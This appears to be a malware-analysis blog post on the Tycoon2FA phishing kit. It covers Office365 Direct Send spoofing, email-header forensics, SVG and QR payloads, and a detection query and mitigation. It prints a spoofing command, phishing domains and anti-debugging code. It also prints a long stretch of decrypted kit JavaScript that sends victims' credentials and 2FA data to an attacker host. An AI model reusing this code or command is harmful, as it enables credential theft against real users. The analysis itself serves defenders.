Analyzing Tycoon2FA Latest Phishing Kit and Campaign
15 Jul 2025 (9059 Words, 51 Minutes)
Introduction
Tycoon2FA’s latest Phishing-Kit has sophisticated TTPs - Initial Access via O365 Direct Send abuse, to several Anti-Analysis and Anti-Debugging features, to custom AES decryption and obfuscation routines, utilizing QR code phishing and SVG payloads, let’s dive deep into their tactics, we will uncover every minute detail of their phishing kit. Let’s start with the question - “How did they get in?”
Initial Access - Abusing Microsoft Office365 Direct Send
Based on Varonis report which was published recently, attackers have been abusing the “Direct Send” feature from Microsoft Exchange Online.
Attacker’s command to spoof the email -
Send-MailMessage -SmtpServer company-com.mail.protection.outlook.com -To [email protected] -From [email protected] -Subject "New Missed Fax-msg" -Body "You have received a call! Click on the link to listen to it. Listen Now" -BodyAsHtml
And why this worked out so well?
And we can confirm the same via Microsoft’s official documentation for Direct Send feature:
Setting it up and learn more about accepted domain here.
With the information we have now, we can begin to make sense of why the “To” and “From” address were same
despite X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName
email header displaying the target organization’s domain.
Microsoft has introduced more contol over Direct Send in Exchange Online, so going by the definition -
Direct Send is a method used to send emails directly to an Exchange Online customer’s hosted mailboxes from on-premises devices, applications, or third-party cloud services using the customer’s own accepted domain. This method does not require any form of authentication because, by its nature, it mimics incoming anonymous emails from the internet, apart from the sender domain.
The Direct Send method assumes that customers have properly configured SPF, DKIM, and DMARC for their tenants. It is critical that an administrator updates their SPF record by adding the source IP address where the device, application, or third-party service will send from to prevent emails from being flagged as spam. If SPF is not properly configured, any email sent using Direct Send will likely be flagged as spam.
Based upon your organization’s policy, you can consider “rejecting Direct Send feature”, which by default is disabled. To enable it, you need to run this command -
Set-OrganizationConfig -RejectDirectSend $true
The change should propagate out to our entire service within 30 minutes. With the feature enabled, any received Direct Send messages will see the following message:
550 5.7.68 TenantInboundAttribution; Direct Send not allowed for this organization from unauthorized sources
Unless Direct Send is re-enabled again, any messages that hit this error will need a partner connector created to authenticate their source as an approved sender.
Assets and Indicators of Compromise
Let’s begin our Investigation with couple of IOCs related to Tycoon2FA’s latest phishing campaign. You may find these IP Address in the followig email headers - X-MS-Exchange-Organization-OriginalClientIPAddress
, X-MS-Exchange-Organization-ConnectingIP
, X-MS-Exchange-Organization-AS-LastExternalIp
.
Microsoft Sentinel Query for Tycoon2FA activity
Assuming they made it to your orgs inbox, you can tweak the query as per your needs.
EmailEvents
| where SenderFromDomain has "<org_domain>.com"
| where RecipientEmailAddress has "<org_domain>.com"
| where parse_json(AuthenticationDetails)["SPF"] == 'fail'
| where DeliveryLocation has "inbox"
| where SenderMailFromAddress != "noreply@<org_domain>.com"
| extend SenderUser = tostring(split(SenderFromAddress, "@")[0])
| extend RecipientUser = tostring(split(RecipientEmailAddress, "@")[0])
| where SenderUser == RecipientUser
| where Subject has_any ("Reminder", "Remittance", "Action Required", "WIRE TRANSFER", "Fax-msg")
and filter further for | distinct SenderIPv4
to grab the list of suspect IP Addresses and | distinct Subject
to get the lay of the land, which should look something similar to this -
Email Subjects
There are couple of variations, they’ll try to remind you of your goals, they’ll wire transfer you some goodies, and even Fax you some important messages which deserve your utmost attention, sincerely.
Attachments and Payload
Usually Tycoon2FA utilizes .svg
, .msg
and .pdf
malicious attachment wrapped in benign .eml
file, which gets in the inbox. In the previous phishing campaign they had used binary files as well.
Packaging of malicious payload - .svg
, .pdf
, etc.
The end user will receive .eml
in their inbox, they may open it in preview mode/download and open it separately, which contains the .svg
payload or .pdf
attachment for QR Phishing.
PDF malicious attachment wrapped in
.eml
- Email Template used by Tycoon2FA -
Remittance ADVICE
Docusign - WIRE TRANSFER
Email Header Analysis
The Microsoft Exchange headers not only identify various aspects of the email but their specific values provide important insights into message origin, reputation, and authentication status. For Instance, X-MS-Exchange-Organization-AS-LastExternalIp:
139[.]28[.]38[.]90 shows the exact external IP address from which the message was last received, helping trace the source. The X-MS-Exchange-Organization-InternalOrgSender:
True value indicates the message is treated as originating from within the tenant’s trusted internal environment, which affects filtering and trust decisions. Reputation scores like X-MS-Exchange-Organization-SenderRep-Score:
3 suggest a moderate sender reputation, while classifications such as X-MS-Exchange-Organization-SenderRep-Data:
IpClassLargeGrayOther_GrayOther_Good imply the sender IP is in a graylist category but currently considered good. Authentication results in X-MS-Exchange-Organization-Antispam-AuthResults
show specific statuses like “SpfAuthStatus”:”Fail” and “DmarcAuthStatus”:”Fail”, indicating SPF and DMARC checks failed for the domain, while “DkimAuthStatus”:”None” means no DKIM signature was found. The X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName:
More on X-MS-Exchange-Organization-Cross-Session-Cache:
reveals - ;SL=1;SCL=0;BL=0;RL=1;PID=0;TIP=NotListed
which implies the Spam Level (SL) was 1 (meaning low spam suspicion level), Spam Confidence Level = 0, means it isn’t spam, so on, Bulk Level (BL = 0), and TIP is “not listed”, meaning that sending IP address is not listed on any known IP blocklists, indicating a clean reputation.
Header | Value |
---|---|
X-MS-Exchange-Organization-InternalOrgSender | True |
Authentication-Results | spf=fail (sender IP is 139[.]28[.]38[.]90) smtp.mailfrom= |
Received-SPF | Fail (protection.outlook.com: domain of |
X-Mailer | Microsoft Office Outlook 16.0 |
X-MS-Exchange-Organization-OriginalClientIPAddress | 139[.]28[.]38[.]90 |
X-MS-Exchange-Organization-ConnectingIP | 139[.]28[.]38[.]90 |
X-MS-Exchange-Organization-AS-LastExternalIp | 139[.]28[.]38[.]90 |
X-MS-Exchange-Organization-Antispam-AuthResults
has the value {"SpfDomain":"<org_domain>.com","SpfAuthStatus":"Fail",
"DkimAuthStatus":"None","DkimSubStatus":"None","DmarcAuthStatus":"Fail",
"DmarcAction":"None","ArcAuthStatus":"0","ArcSubStatus":"0"}
Header | Value |
---|---|
X-MS-Exchange-Organization-IsBipIncludedAtpTenant | true |
X-MS-Exchange-Organization-IsAtpTenant | true |
X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName | target.com |
X-MS-Exchange-Organization-SenderRep-Score | 3 |
X-MS-Exchange-Organization-SenderRep-Data | IpClassLargeGrayOther_GrayOther_Good |
X-MS-Exchange-Organization-VBR-Class | GrayOther |
X-MS-Exchange-Organization-HMATPModel-Spf | 6 |
X-MS-Exchange-Organization-AntiSpam-SpfDnsTimeoutError | true |
X-MS-Exchange-Organization-PtrDomains | probev-us.mail.protection.outlook.com |
X-MS-Exchange-Organization-EhloAndPtrDomain | [127.0.0.1];probev-us.mail.protection.outlook.com |
X-MS-Exchange-Organization-MxPointsToUs | true |
X-MS-Exchange-Organization-RecipientDomainMxRecord-PFAFD | target.com#target-com.mail.protection.outlook.com |
X-MS-Exchange-Organization-RecipientDomainMxInfo | target.com#Office365#target-com.mail.protection.outlook.com |
Also, flag ;RunIntraOrgSpoof=true
being true, which implies Microsoft Exchange has enabled or executed internal spoof detection mechanisms to identify and block emails that falsely claim to originate from inside the organization. Tycoon2FA has bypassed Anti-Spoofing protection in EOP as well as Spoof Intelligence Insight in EOP, along with many other security measures in place, need not to mention Microsoft ATP for Office 365 was active throughout the exploitation chain. By analyzing the email headers itself, we can understand the level of sophistication Tycoon2FA achieved via exploiting/abusing the “Direct Send” feature. I was having a hard time wrapping my head around the fact that their phishing mail landed straight in the user’s inbox, despite all of the protections enabled (besides SPF, DKIM).
Phishing Payload Analysis
QR Code Phishing
To begin with, we can look into the .pdf
malicious attachment - it contains a QR code which redirects the user to Office365 login page, but in my case I wasn’t able to replicate that - due to the anti-analysis and anti-bot protection mechanism implemented by Tycoon2FA - their Cloudflare Turnstile captcha kept refreshing mutiple times - until it had blocked my IP and I had to use a residential proxy for circumventing it.
Analyzing the QR code -
It contains the target user email as a parameter.
Similarly,
This suggests the Domain Generation Algorithm utility for these random domains. You can find an updated list of more than 5,600+ domains used for phishing by Tycoon2FA here.
.svg Phishing - Payload Variant 1
Remember that the variable v
is the Base64 encoded email of the target user. Now let’s unpack this code:
Constants:
- D is a key string used for XOR decryption.
- W is a long hex string representing XOR encrypted data.
Helper Functions:
- g(h) splits the hex string W into pairs of hex digits.
- c(M) converts a number M into a character using Unicode code points.
Decryption Loop:
- The hex string W is split into byte-sized chunks.
- Each byte (parsed from hex) is XORed with a character code from D (cycling through D).
- The result is converted back to a character.
- This reconstructs a decrypted string N.
Execution of Decrypted Code:
- L is assigned the Function constructor by accessing the prototype of [].map.
- L(N)() creates a new function from the decrypted string N and immediately executes it.
In essence -
The payload is encrypted JavaScript code inside the SVG.
- When the SVG is loaded and the script runs, it:
- Decrypts the hidden code using XOR with a key.
- Dynamically creates a function from the decrypted code.
- Executes that function immediately.
XOR Decrypting the hex stream with the key 12483c0db4709822b7175c5b
and in UTF-8 format.
Now we have this code with us:
window.location.href
= …, This sets the browser’s current URL to a new value, causing a redirect.
- atob(…): The atob() function decodes a Base64-encoded string.
- The long string inside atob() is constructed by concatenating multiple string fragments, e.g., “aH”+”R0”+”cH”+….
v
: After decoding the Base64 string, it concatenates the variable v to the end.
Upon Base64 decoding the concatenated string we get - "https://czaigj.aptswid.es/4xWh yTFyq5nDlVL/ %"
which then gets appended with the variable v
, likewise - window.location.href = "https://czaigj.aptswid.es/4xWhyTFyq5nDlVL/%" + v;
The redirect link was down for this domain, or it might have deployed some anti-analysis measures, Cloudflare Turnstile had stopped my analysis there, but it won’t be the case always, as we will see later.
.svg Phishing - Payload Variant 2
So, Instead of hex stream, this time you’re gonna get Base64 encoded data, which is dynamically decoded and it runs the decoded function as follows - (just some redirect to their landing page which is protected by their Turnstile)
and then it resolves to the FQDN they want their target to visit -
again, no luck this time, I am not sure what anti-analysis they have implimented from their server side, that the landing page links are up and running with some jitter I believe, to deter the analysis.
But as I was digging through the latest of samples, I noticed that the threat actor has sent 2 sweet phishing mails, one of them was fully active and functional, I grabbed it by neck and in the below segment you’ll see how sophisticated phishing campaign it is.
Deep Dive into Tycoon2FA Phishing Kit
The execution sequence goes normal as expected, based upon .svg Phishing - Variant 1 as discussed above, so we have -
and as per our ritual, via following the steps for XOR decryption, we arrive at the landing page URL -
https://kiabm[.]rqctvku[.]es/SHHt6AK@bWpW78x5b6/$<Base64_encoded_variable_J>
, here J
is simply the target user’s mail, which will be used on several occassions, to pre-populate the email field and such. I am going to refer this particular URL as primary landing page URL from now onwards, for the sake of convenience.
Anti-Analysis and Anti-Bot protection
What happens when we try to open the primary landing page URL (https://kiabm[.]rqctvku[.]es/SHHt6AK@bWpW78x5b6/$<Base64_encoded_variable_J>
) via mobile device?
and/or
and if you reloaded the redirect URL from the landing page above, with/without sending the credentials, its going to perform an anti-analysis maneuver -
Chain of Execution (normal phishing workflow)
First you encounter the Cloudflare Turnstile Captcha,
and then the end user will see some neat and seamless redirects, here is an opportunity for the user to recall the corporate phishing training lessons,
then there’s the landing page, ready for credential harvesting. One important thing I had noticed during my analysis is that - it performs server side checks for the credential being entered, ensuring that it re-prompts the user if they aren’t right in the first try.
Moving ahead, we can do view-source:
trick to fetch the source code of the final landing page, and we can observe two different function blobs/snippets as follows - (in-depth explanation below)
- NOTE: This is the 1st function snippet, I will showcase the 2nd one in later segment.
Runtime Dynamic Decryption Routine and Anti-Analysis
UjBpjGaycy = [
...[114, 112].map(YZgLDUCFEh => String.fromCharCode(YZgLDUCFEh)),
String.fromCharCode(67),
String.fromCharCode(121),
String.fromCharCode(116),
String.fromCharCode(111),
String.fromCharCode(74),
String.fromCharCode(83)
];
// UjBpjGaycy = ['r', 'p', 'C', 'y', 't', 'o', 'J', 'S']
ZzKiBWTICw = [
UjBpjGaycy[2], // 'C'
UjBpjGaycy[0], // 'r'
UjBpjGaycy[3], // 'y'
UjBpjGaycy[1], // 'p'
UjBpjGaycy[4], // 't'
UjBpjGaycy[5], // 'o'
UjBpjGaycy[6], // 'J'
UjBpjGaycy[7] // 'S'
].join('');
// ZzKiBWTICw = "CryptoJS"
Dynamically constructing string “CryptoJs” to avoid static detection
htPOSCUJJB = globalThis[ZzKiBWTICw];
// htPOSCUJJB is now the CryptoJS object
and then script accessing CryptoJS
library in global scope,
var yofQrrnXHZ = htPOSCUJJB.enc.Base64.parse(KmYDStqAUf); // key
var cgSjYSUtqZ = htPOSCUJJB.enc.Base64.parse(QfPcobweVK); // IV + ciphertext
Converting the base64 strings into binary data usable by CryptoJS.
var jjCuOPmkZm = htPOSCUJJB.lib.WordArray.create(cgSjYSUtqZ.words.slice(0, 4), 16); // IV (16 bytes)
var IUEAQeJbbN = htPOSCUJJB.lib.WordArray.create(
cgSjYSUtqZ.words.slice(4),
cgSjYSUtqZ.sigBytes - 16
); // ciphertext
- The first 16 bytes of the decoded data are the IV.
- The rest is the encrypted payload.
var jAeRNWFTRc = htPOSCUJJB.AES.decrypt(
{ ciphertext: IUEAQeJbbN },
yofQrrnXHZ,
{ iv: jjCuOPmkZm, mode: htPOSCUJJB.mode.CBC, padding: htPOSCUJJB.pad.Pkcs7 }
);
- Uses AES decryption in CBC mode with PKCS7 padding.
- Key:
yofQrrnXHZ
- IV:
jjCuOPmkZm
- Ciphertext:
IUEAQeJbbN
var uXUrEWQiOC = jAeRNWFTRc.toString(htPOSCUJJB.enc.Utf8);
The decrypted payload is then converted to a string.
(() => {
const eQtKbRsGby = uXUrEWQiOC;
const cyOvjxuVfk = (typeof window !== 'undefined' ? window :
typeof global !== 'undefined' ? global :
typeof self !== 'undefined' ? self : {});
const oEvmbrlUdG = [101, 118, 97, 108].map(FwgweoUprb => String.fromCharCode(FwgweoUprb)).join(''); // "eval"
const jSYgmYMWcC = [99, 111, 110, 115, 111, 108, 101].map(FELOOzfhHO => String.fromCharCode(FELOOzfhHO)).join(''); // "console"
if (cyOvjxuVfk[jSYgmYMWcC]) cyOvjxuVfk[jSYgmYMWcC][[108, 111, 103].map(XjJoNpTCny => String.fromCharCode(XjJoNpTCny)).join('')];
cyOvjxuVfk[oEvmbrlUdG](eQtKbRsGby);
})();
- Dynamically constructs “eval” and executes the decrypted payload.
- The decrypted code runs in the global context.
So far, the script hides its real malicious code encrypted inside a large Base64 string. It then decrypts this code at runtime using AES-CBC with a key and IV embedded in the script. The decrypted code is then executed dynamically via eval. This technique evades static detection and hides the payload until execution.
Clipboard Hijacking
document.addEventListener('copy', function(event) {
// Check if the active element is an input, textarea, or contenteditable
if (document.activeElement.tagName === 'INPUT' ||
document.activeElement.tagName === 'TEXTAREA' ||
document.activeElement.isContentEditable) {
return; // Allow normal copy inside editable areas
}
event.preventDefault(); // Stop the default copy action
var customWord = "pico"; // The string to replace clipboard content
// Set the clipboard data to "pico"
event.clipboardData.setData('text/plain', customWord);
});
The script listens for user copy events and replaces the clipboard content with a fixed string “pico” unless the copy happens inside editable fields.
- Event listener on copy: triggers whenever the user copies something on the page.
- Editable check: If the user is copying inside an input box, textarea, or
contenteditable element
, the script does nothing and lets the copy proceed normally.- Otherwise:
- It cancels the default copy behavior.
- It sets the clipboard content to the fixed string “pico”.
- Otherwise:
Now lets see what unholy code the adversary is trying to hide
First 16 bytes are the IV.
Using the Base64 encoded key and the IV we extracted above, we can AES decrypt the payload.
Anti-Debugging and Anti-Analysis blob
(navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
window.location = "about:blank";
}
document.addEventListener("keydown", function (event) {
function syyt(event) {
const agib = [
{ keyCode: 123 },
{ ctrl: true, keyCode: 85 },
{ ctrl: true, shift: true, keyCode: 73 },
{ ctrl: true, shift: true, keyCode: 67 },
{ ctrl: true, shift: true, keyCode: 74 },
{ ctrl: true, shift: true, keyCode: 75 },
{ ctrl: true, keyCode: 72 }, // Ctrl + H
{ meta: true, alt: true, keyCode: 73 },
{ meta: true, alt: true, keyCode: 67 },
{ meta: true, keyCode: 85 }
];
return agib.some(nspa =>
(!nspa.ctrl || event.ctrlKey) &&
(!nspa.shift || event.shiftKey) &&
(!nspa.meta || event.metaKey) &&
(!nspa.alt || event.altKey) &&
event.keyCode === nspa.keyCode
);
}
if (syyt(event)) {
event.preventDefault();
return false;
}
});
document.addEventListener('contextmenu', function(event) {
event.preventDefault();
return false;
});
nwax = false;
(function caxv() {
let ftfs = false;
const time = 100;
setInterval(function() {
const gwix = performance.now();
debugger;
const gpgg = performance.now();
if (gpgg - gwix > time && !ftfs) {
nwax = true;
ftfs = true;
window.location.replace('https://www.etsy.com');
}
}, 100);
})();
This is the function blob/snippet which was kept encrypted and obfuscated all this time, the entire purpose of which is to power the Anti-Analysis measures for the phishing page.
Let’s unpack it one by one -
- Automation/Headless Browser Detection
(navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
window.location = "about:blank";
}
This checks if the browser is automated or being inspected by tools like PhantomJS (window.callPhantom, window._phantom)
, or Burp Suite (userAgent.includes("Burp"))
. If detected, it redirects the page to a blank page (about:blank).
- Keyboard Shortcut Blocking
document.addEventListener("keydown", function (event) {
// Checks for keys like F12, Ctrl+Shift+I, Ctrl+U, etc.
if (syyt(event)) {
event.preventDefault();
return false;
}
});
Prevents users from opening developer tools or viewing source code by disabling common shortcuts:
F12 (DevTools), Ctrl+Shift+I (DevTools), Ctrl+U (View Source), Ctrl+Shift+C (Inspect Element), Ctrl+Shift+J (Console), Ctrl+H (History) and Meta+Alt+I/C (Mac equivalents).
- Context Menu Blocking
document.addEventListener('contextmenu', function(event) {
event.preventDefault();
return false;
});
Disables right-click context menu and prevents us from easily accessing options like “Inspect” or “View Source,” further obstructing analysis.
- Active Debugger Detection and Redirect
(function caxv() {
let ftfs = false;
const txhg = 100;
setInterval(function() {
const gwix = performance.now();
debugger;
const gpgg = performance.now();
if (gpgg - gwix > txhg && !ftfs) {
nwax = true;
ftfs = true;
window.location.replace('https://www.etsy.com');
}
}, 100);
})();
This repeatedly runs a debugger statement inside a timer and measures the delay caused by the debugger pausing execution. If the delay exceeds 100 ms (likely due to a breakpoint or debugging), it redirects the user to https://www.etsy.com.
Analyzing 2nd function snippet
Previously, In the same script, we analyzed its 1st function snippet, now its time to look into the 2nd one -
Execution, decryption and Anti-analysis logic remains the same, with minor differences in the AES-encrypted Base64 string being split up into multiple variables.
After the decryption ritual is performed, we can observe the inner workings of the content, which is same as the 1st function snippet, with couple of notable differences at the end.
In the side by side comparison, at the very end we can see changes in the loading of document as follows -
// From 1st function snippet
document.addEventListener('copy', function(event) {
if (document.activeElement.tagName === 'INPUT' ||
document.activeElement.tagName === 'TEXTAREA' ||
document.activeElement.isContentEditable) {
return;
}
event.preventDefault();
var customWord = "pico";
event.clipboardData.setData('text/plain', customWord);
});
// 2nd function snippet
mdqg = atob;
wjuf = mdqg(`Base64_encoded_HTML_PAGE_CONTENT==`);
document.write(wjuf);
- mdqg = atob; assigns the built-in base64 decoder.
- wjuf = mdqg(“Base64_encoded_HTML_PAGE_CONTENT==”); decodes another base64 string.
- document.write(wjuf); writes the decoded content directly into the HTML document.
Here, it dynamically injects/replaces the entire page with the decrypted content.
2nd HTML Wrapper
The Base64 encoded string, which was depicted earlier as - Base64_encoded_HTML_PAGE_CONTENT==
in the variable wjuf
is an entire HTML page in itself, which gets injected, on top of that (and most importantly), that HTML page has its own set of function snippets/blob with same nomenclature, obfuscation and encryption routine, with some variation.
Visual assets include login form attributes and images/gifs for mimicking 0365 login page.
The first function blob is exactly the same as we saw earlier. The 2nd function blob has some differences.
As you can observe, the key is also different.
After AES decryption we get -
var otherweburl = "";
var websitenames = ["godaddy", "okta"];
var bes = ["Apple.com","Netflix.com"];
var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];
var capnum = 1;
var appnum = 1;
var pvn = 0;
var view = "";
var pagelinkval = "DYP69";
var emailcheck = "[email protected]";
var webname = "rtrim(/web9/, '/')";
var urlo = "/emb8kD0RTbyoICDCtpBvPcikTu8AQYQ7s9ISvjPeyUkKmaDS6yyJ0Hs5UOnb";
var gdf = "/ij6XWH6LKuAiS9LLyggKewJrmywxM9aNYhf0G5GQoab120";
var odf = "/ijj0e57If25ZKU40GtCG7H8EuvNCDfgFofGtqHTrwdqcd646";
var twa = 0;
var currentreq = null;
var requestsent = false;
var pagedata = "";
var redirecturl = "https://login.microsoftonline.com/common/SAS/ProcessAuth";
var userAgent = navigator.userAgent;
var browserName;
var userip;
var usercountry;
var errorcodeexecuted = false;
if(userAgent.match(/edg/i)){
browserName = "Edge";
} else if(userAgent.match(/chrome|chromium|crios/i)){
browserName = "chrome";
} else if(userAgent.match(/firefox|fxios/i)){
browserName = "firefox";
} else if(userAgent.match(/safari/i)){
browserName = "safari";
} else if(userAgent.match(/opr\//i)){
browserName = "opera";
} else{
browserName="No browser detection";
}
function removespaces(input) {
input.value = input.value.replace(/\s+/g, ''); // Removes all spaces
}
//
function sendlive(statusval) {
$.ajax({
type: "POST",
url: urlo,
data: stringToBinary(encryptData(JSON.stringify({
pagelink: pagelinkval,
type: statusval,
ip: userip,
country: usercountry,
useragent: userAgent,
appnum: appnum
}))),
success: function(response) {
},
error: function(xhr, status, error) {
console.error("Error:", error);
}
});
}
$.get("https://get.geojs.io/v1/ip/geo.json", function(response) {
userip = response.ip;
usercountry = response.country;
sendlive(13);
}, "json").fail(function(jqXHR, textStatus, errorThrown) {
if (jqXHR.status === 429 || textStatus !== "success") {
setTimeout(sendemailrequestzero, 1000);
}
});
//
function encryptData(data) {
const key = CryptoJS.enc.Utf8.parse('1234567890123456');
const iv = CryptoJS.enc.Utf8.parse('1234567890123456');
const encrypted = CryptoJS.AES.encrypt(data, key, {
iv: iv,
padding: CryptoJS.pad.Pkcs7,
mode: CryptoJS.mode.CBC
});
return encrypted.toString();
}
function stringToBinary(input) {
const zeroReplacement = '0';
const oneReplacement = '1';
return btoa(input
.split('')
.map(char => {
let binary = char.charCodeAt(0).toString(2);
binary = binary.padStart(8, '0');
return binary
.split('')
.map(bit => (bit === '0' ? zeroReplacement : oneReplacement))
.join('');
})
.join(' '));
}
function decryptData(encryptedData) {
const key = CryptoJS.enc.Utf8.parse('1234567890123456');
const iv = CryptoJS.enc.Utf8.parse('1234567890123456');
const decrypted = CryptoJS.AES.decrypt(encryptedData, key, {
iv: iv,
padding: CryptoJS.pad.Pkcs7,
mode: CryptoJS.mode.CBC
});
return decrypted.toString(CryptoJS.enc.Utf8);
}
var sendAndReceive = (route, args, getresponse) => {
if(requestsent == true && route !== "twofaselect"){
return new Promise((resolve, reject) => {
return resolve({message: "waiting for previous request to complete"});
});
}
if(requestsent == false || route == "twofaselect"){
requestsent = true;
let routename = null;
let randpattern = null;
if(route == "checkemail"){
randpattern = /(pq|rs)[A-Za-z0-9]{6,18}(yz|12|34)[A-Za-z0-9]{2,7}(uv|wx)(3[1-9]|40)/gm;
}
if(route == "checkpass"){
randpattern = /(yz|12)[A-Za-z0-9]{7,14}(56|78)[A-Za-z0-9]{3,8}(op|qr)(4[1-9]|50)/gm;
}
if(route == "twofaselect"){
randpattern = /(56|78|90)[A-Za-z0-9]{8,16}(23|45|67)[A-Za-z0-9]{4,9}(st|uv)(5[1-9]|60)/gm;
}
if(route == "twofaselected"){
randpattern = /(23|45)[A-Za-z0-9]{9,20}(89|90|ab)[A-Za-z0-9]{5,10}(vw|xy)(6[1-9]|70)/gm;
if(currentreq){
currentreq.abort();
}
}
let randexp = new RandExp(randpattern);
let randroute = randexp.gen();
let formattedargs = 0;
if(route == "checkemail"){
formattedargs = args.map(item => '/'+item).join('')+'/'+appnum+'/'+getresponse;
}
if(route !== "checkemail"){
formattedargs = '/'+token+args.map(item => '/'+item).join('')+'/'+getresponse;
}
// console.log(formattedargs);
let encrypteddata = encryptData(formattedargs);
const makeRequest = (retryCount) => {
return new Promise((resolve, reject) => {
currentreq = $.ajax({
url: 'https://tY4DcmhfxyvBeibKJzrU9J05C33QimmcWlZlOgGnlSNc67A3rd.eojlpggwfnp.es/MvEtdZQnVyaBYuLpGDrtzjoNzsYWRLMJWVWKROTPFXTJSGHNFEPQRP' + randroute,
type: 'POST',
data: {data: encrypteddata},
success: function(response) {
if (response.message == "Token Not Found" && retryCount < 3) {
console.log('data: '+formattedargs);
setTimeout(function(){
resolve(makeRequest(retryCount + 1));
}, 3000);
}
if (response.message == "Missing Value") {
resolve('missing value');
}
if (response.message !== "Token Not Found") {
let decryptedresp = JSON.parse(decryptData(response));
if(route !== "twofaselected"){
if (decryptedresp.token) {
token = decryptedresp.token;
}
}
if (decryptedresp.message == "Token Not Found" && retryCount < 3) {
console.log('data: '+formattedargs);
setTimeout(function(){
resolve(makeRequest(retryCount + 1));
}, 3000);
} else {
// console.log(decryptedresp);
requestsent = false;
resolve(decryptedresp);
}
}
},
error: function(xhr, status, error) {
requestsent = false;
console.error('Error:', error);
reject(error);
}
});
});
};
return makeRequest(0);
}
};
function bottomsectionlinks(sectionname,array) {
const bottomsection = document.getElementById('section_'+sectionname).querySelector('.bottomsection');
bottomsection.innerHTML = '';
array.forEach(item => {
if (item.type === 'text_link') {
const textWithLink = document.createElement('p');
textWithLink.classList.add('mb-16');
textWithLink.innerHTML = `${item.text} <a href="javascript:void(0)" data-id="`+item.a_id+`" onclick="linkoptionclick(this)" class="link">${item.a_text}</a>`;
bottomsection.appendChild(textWithLink);
} else if (item.type === 'link_text') {
const linkwithText = document.createElement('a');
linkwithText.classList.add('link', 'mb-16');
linkwithText.setAttribute('data-id', item.a_id);
linkwithText.setAttribute('onclick', 'linkoptionclick(this)');
linkwithText.textContent = item.a_text;
bottomsection.appendChild(linkwithText);
const paragraph = document.createElement('p');
paragraph.textContent = item.text;
bottomsection.appendChild(paragraph)
} else if (item.type === 'link') {
const linkOnly = document.createElement('a');
linkOnly.classList.add('link','mb-16');
linkOnly.setAttribute("data-id", item.a_id);
linkOnly.setAttribute("onclick", "linkoptionclick(this)");
linkOnly.textContent = item.a_text;
linkOnly.href = '#';
bottomsection.appendChild(linkOnly);
} else if (item.type === 'text') {
const textOnly = document.createElement('p');
textOnly.classList.add('mb-16');
textOnly.textContent = item.text;
bottomsection.appendChild(textOnly);
}
});
}
var disconnecttimer;
var showwedidnthearpopup = 0;
function startdisconnecttimer(){
if(document.getElementById('section_tryagainlater').classList.contains('d-none')){
disconnecttimer = setTimeout(function() {
setTimeout(function(){
document.getElementById('section_'+view).querySelector('.loading-container').classList.remove('loading');
document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = 'hide-to-left 0.5s';
setTimeout(function(){
document.getElementById('section_'+view).classList.toggle('d-none');
document.getElementById('section_tryagainlater').querySelector('#tryagainheader').style.display = "block";
document.getElementById('section_tryagainlater').querySelector('#tryagain_withoutinternet').style.display = "block";
document.getElementById('section_tryagainlater').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s';
document.getElementById('section_tryagainlater').classList.remove('d-none');
}, 200);
}, 500);
view = "tryagainlater";
}, 40000);
}
}
function moreinforeq(){
showwedidnthearpopup = 0;
if(document.getElementById('section_tryagainlater').classList.contains('d-none')){
document.getElementById('section_tryagainlater').querySelector('.title').innerText = "More Information Required";
setTimeout(function(){
document.getElementById('section_'+view).querySelector('.loading-container').classList.remove('loading');
document.getElementById('section_'+view).querySelector('.sectioncontent').style.animation = 'hide-to-left 0.5s';
setTimeout(function(){
document.getElementById('section_'+view).classList.toggle('d-none');
document.getElementById('section_tryagainlater').querySelector('#tryagainheader').style.display = "block";
document.getElementById('section_tryagainlater').querySelector('#tryagain_moreinfo').style.display = "block";
document.getElementById('section_tryagainlater').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s';
document.getElementById('section_tryagainlater').classList.remove('d-none');
}, 200);
}, 500);
}
view = "tryagainlater";
}
// document.addEventListener("DOMContentLoaded", () => {
if(twa == 0){
setTimeout(function(){
setTimeout(function(){
document.getElementById('section_tryingtosignin').querySelector('.loading-container').classList.remove('loading');
document.getElementById('section_tryingtosignin').querySelector('.sectioncontent').style.animation = 'hide-to-left 0.5s';
setTimeout(function(){
document.getElementById("section_tryingtosignin").classList.toggle('d-none');
if (!document.getElementById('sections_doc') && !document.getElementById('sections_pdf')){
document.title = "Profile Security Sign-In";
if (document.getElementById('out2-logo')){
document.getElementById('out2-logo').style.display = 'block';
}
document.getElementById('section_uname').querySelector('.sectioncontent').style.animation = 'show-from-right 0.5s';
document.getElementById('section_uname').classList.remove('d-none');
}
}, 200);
}, 500);
if (document.getElementById('sections_pdf')){
setTimeout(function(){
document.title = "Profile Security Sign-In";
document.getElementById('sections_pdf').querySelector('#mainLoader').style.display = "none";
document.getElementById('sections_pdf').querySelector('#section_uname_content').classList.remove('d-none');
}, 1000);
}
if (document.getElementById('sections_doc')){
setTimeout(function(){
document.title = "Profile Security Sign-In";
}, 1000);
}
}, 1000);
}
if(twa == 1){
document.getElementById('section_tryingtosignin').querySelector('.loading-container').classList.remove('loading');
document.getElementById("section_tryingtosignin").classList.toggle('d-none');
document.title = "Profile Security Sign-In";
document.getElementById('section_uname').classList.remove('d-none');
}
if(twa == 2){
document.title = "Profile Security Sign-In";
}
// });
let emailinputele = false;
function tryfindingele(email) {
if (view == "uname") {
let emailinputcheck = document.getElementById("inp_uname");
let emailsectionelecheck = document.getElementById("section_uname");
if (emailinputcheck && !emailsectionelecheck.classList.contains("d-none")) {
emailinputcheck.value = email;
document.getElementById('section_uname').querySelector("#btn_next").click();
emailinputele = true;
} else {
setTimeout(function() {
tryfindingele(email);
}, 1000);
}
} else if (view == "uname_pdf") {
let emailinputcheck = document.getElementById("pdfemail");
let emailsectionelecheck = document.getElementById("section_uname_content");
if (emailinputcheck && !emailsectionelecheck.classList.contains("d-none")) {
